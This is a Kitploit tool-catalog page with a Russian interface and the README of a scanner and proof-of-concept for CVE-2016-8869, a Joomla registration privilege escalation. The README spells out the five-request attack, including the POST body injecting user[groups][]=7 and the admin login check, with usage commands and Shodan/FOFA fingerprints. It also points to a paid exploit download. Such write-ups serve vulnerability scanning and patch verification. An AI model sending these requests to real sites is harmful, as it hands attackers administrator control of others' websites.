Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2016-8869 — Scanner and proof-of-concept exploit for CVE-2016-8869, detecting and abusing unfiltered Joomla com_users groups[] injection to escalate a self-registered account to Administrator. | Kitploit
Инструменты/GitHubGitHub/jonathan1010/cve-2016-8869
Privilege EscalationReconnaissanceVulnerability ScannersWeb Vulnerability ScannersExploitationWeb Application ExploitationWeb Security
GitHubjonathan1010/cve-2016-8869

CVE-2016-8869

Scanner and proof-of-concept exploit for CVE-2016-8869, detecting and abusing unfiltered Joomla com_users groups[] injection to escalate a self-registered account to Administrator.

Репозиторий
4 дек. 2026 г.Ещё не проверено
Поделиться
Контент недоступен на запрошенном языке. Показываем английскую версию.

CVE-2016-8869

Joomla! 3.4.4-3.6.3 - Account Creation / Privilege Escalation

Metadata

fieldvalue
CVECVE-2016-8869
severitycritical
CVSS9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
fixed inJoomla! 3.6.4 (model hardening landed with the 3.6.4/3.6.5 line)
classImproper privilege escalation via unfiltered usergroup injection (CWE-269)
scanner version1.0.0
python3.8+ stdlib only, no third-party deps

Exploit

If you want the exploit, find it here: https://satoshidisk.com/pay/CT5RZ0

Summary

Joomla! 3.4.4 through 3.6.3 does not filter the usergroup values submitted to the com_users user.register task. In the vulnerable tree (components/com_users/controllers/user.php) register() takes the raw post array with $this->input->post->get('user', array(), 'array') and hands it to UsersModelRegistration::register(), which merges every submitted key over the model data (foreach ($temp as $k => $v)) before $user->bind($data). Because the merge is unfiltered, the injected user[groups][]=7 overwrites the default new_usertype group set in getData() and the freshly created account is bound straight into the Administrator group.

Full description

Joomla! 3.4.4 through 3.6.3 does not filter the usergroup values submitted to the com_users user.register task, so an unauthenticated attacker can register an account and inject itself into a privileged group (e.g. Administrator, group id 7) via the user[groups][] parameter. Combined with CVE-2016-8870 (account creation even when registration is disabled), this yields administrative access to the Joomla backend. This template registers a user with the Administrator group injected, then logs into /administrator/ and confirms control-panel access - which only an escalated (Administrator-group) account can reach, so patched instances (where the account stays in the default Registered group) do not match.

Patch comparison from the vendor tree: in 3.6.3 components/com_users/controllers/user.php carries the raw register() method; in 3.6.4 that raw method is gone from the file and the model getData() (3.6.5 tag) merges a session/post key only when $form->getField($k) !== false, while models/forms/registration.xml defines no groups field - so the injected group is dropped and the account keeps the default group. NVD records the fix at 3.6.4, CVSS 3.0 score 9.8 (CRITICAL), published 2016-11-04.

Detection model

  • Five-request black-box check mirroring the template flow http(1) && http(2) && http(3) && http(4) && http(5) with metadata.max-request: 5; one cookie jar is shared across the five requests so the PHPSESSID survives from registration into the administrator login.
  • Request 1: GET /index.php?option=com_users&view=registration, matchers status_code == 200 AND contains(body, 'com_users'); extractor regex name="([a-f0-9]{32})" value="1" pulls the one-time form token (regtoken).
  • Request 2: POST /index.php?option=com_users&task=user.register with the template-exact body user[name]=<u>&user[username]=<u>&user[groups][]=7&user[password1]=<p>&user[password2]=<p>&user[email1]=<e>&user[email2]=<e>&option=com_users&task=user.register&<regtoken>=1, matcher status_code == 303 || 302 || 301 || 200.
  • Request 3: GET /administrator/index.php, matchers status_code == 200 AND contains(body, 'mod-login'); same regex extracts the admintoken.
  • Request 4: POST /administrator/index.php with username=<u>&passwd=<p>&option=com_login&task=login&<admintoken>=1, matcher status_code == 303 || 302 || 301 || 200.
  • Request 5: GET /administrator/index.php, matchers status_code == 200 AND (contains(body, 'com_cpanel') OR contains(body, 'task=logout')). Only an Administrator-group account renders the control panel, so this conjunction is the escalated signal.
  • Random per-run variables follow the template variables block: a 10-char lowercase username, a 9-char alnum password suffixed A1!a, and an [email protected]-style email.
  • check(url) returns (True, details) only when all five matchers hold plus both token extractions; a patched instance stops at matcher 5 (Registered group cannot open the control panel) and is reported not-vuln.
  • Scheme-less hosts in urls.txt (tagger output such as host:8080/path) are auto-prefixed with http://; a 12-char md5 token fingerprints the per-row details.
  • Fingerprint hints from the template metadata: Shodan http.component:"Joomla", FOFA app="Joomla".

Usage

# scanner: streamed CSV + optional JSON sidecar
python scanner/CVE-2016-8869/scanner.py urls.txt 8 CVE-2016-8869.csv --json CVE-2016-8869.json

# exploit: result dict + optional CSV/JSON dumps
python exploit/CVE-2016-8869/exploit.py http://target:80 --csv CVE-2016-8869.csv --json CVE-2016-8869.json --verbose

urls.txt is a plain file, one target per line, # for comments.

Example scanner output

[*] Joomla! CVE-2016-8869 privesc scanner (com_users user.register groups[] injection)
 scanner : CVE-2016-8869 v1.0.0
 threads : 4 | csv: CVE-2016-8869.csv | json: CVE-2016-8869.json
[*] Joomla! CVE-2016-8869 privesc scanner (com_users user.register groups[] injection)
[2026-12-03 09:36:54] loaded 2 target(s) from urls.txt
[2026-12-03 09:36:55] [1/2] http://127.0.0.1:8091 -> VULNERABLE
[2026-12-03 09:36:55] [2/2] http://127.0.0.1:8092 -> not-vuln
[2026-12-03 09:36:55] summary: total=2 vulnerable=1 not-vuln=1 errors=0
[2026-12-03 09:36:55] timing : avg=48ms max=70ms wall=0.10s
[2026-12-03 09:36:55] report saved: CVE-2016-8869.csv

Scanner report columns

columnmeaning
n1-based row number
urltarget as provided
statusok / error
vulnerableverdict
elapsed_msper-target timing
token12-char md5 over the row details
result_b64base64(JSON) full details

Files

  • scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.
  • README.md - this file.
  • DESCRIPTION.md - deeper technical notes.
  • ../../exploit/CVE-2016-8869/exploit.py - five-request POC.

Exit codes

codemeaning
0at least one target answered
2every target errored

References

  • Nuclei template: http/cves/2016/CVE-2016-8869.yaml
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2016-8869
  • Joomla security centre 660: https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html
  • Joomla security centre 659: https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
  • Rapid7 module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/joomla_registration_privesc.rb
Скачать инструмент

Похожие инструменты

  • PEASS-ng

    PEASS - Набор отличных скриптов для повышения привилегий (с цветами)

  • PrivescCheck

    Скрипт для перечисления путей повышения привилегий в Windows

  • LinEnum

    Скриптовое локальное перечисление Linux и проверки повышения привилегий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

  • 1

    Callisto

    jetp1ane/callisto

    Автоматизированный инструмент анализа уязвимостей бинарных файлов, который декомпилирует исполняемые файлы с помощью Ghidra, сканирует псевдо-C код с помощью Semgrep и проверяет находки с использованием GPT-3.5-Turbo для уменьшения ложных срабатываний.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Приложение GhostLock с запуском в один клик (CVE-2026-43499)

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    Платформа IMSI Catcher, разворачивающая поддельную соту GSM для перехвата SMS, внедрения сообщений и отслеживания мобильных устройств

    721
  • 4

    opencti

    opencti-platform/opencti

    Открытая платформа киберразведки угроз

    535
  • 5

    ARTEX

    baarai/artex

    Платформа автономного тестирования на проникновение на основе мультиагентной LLM с агентами-планировщиками и агентами-исполнителями, графами активов и исследования, записью MITM-трафика и повторной проверкой уязвимостей.

    424
  • 6

    DFRoot

    a2333c/dfroot

    Инструмент для получения root-прав на Android для Samsung Galaxy S25 Ultra (SM-S938B), который объединяет DirtyFrag CVE-2026-43284 и CVE-2026-43499 для автоматического получения root-прав при загрузке через KernelSU.

    419

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →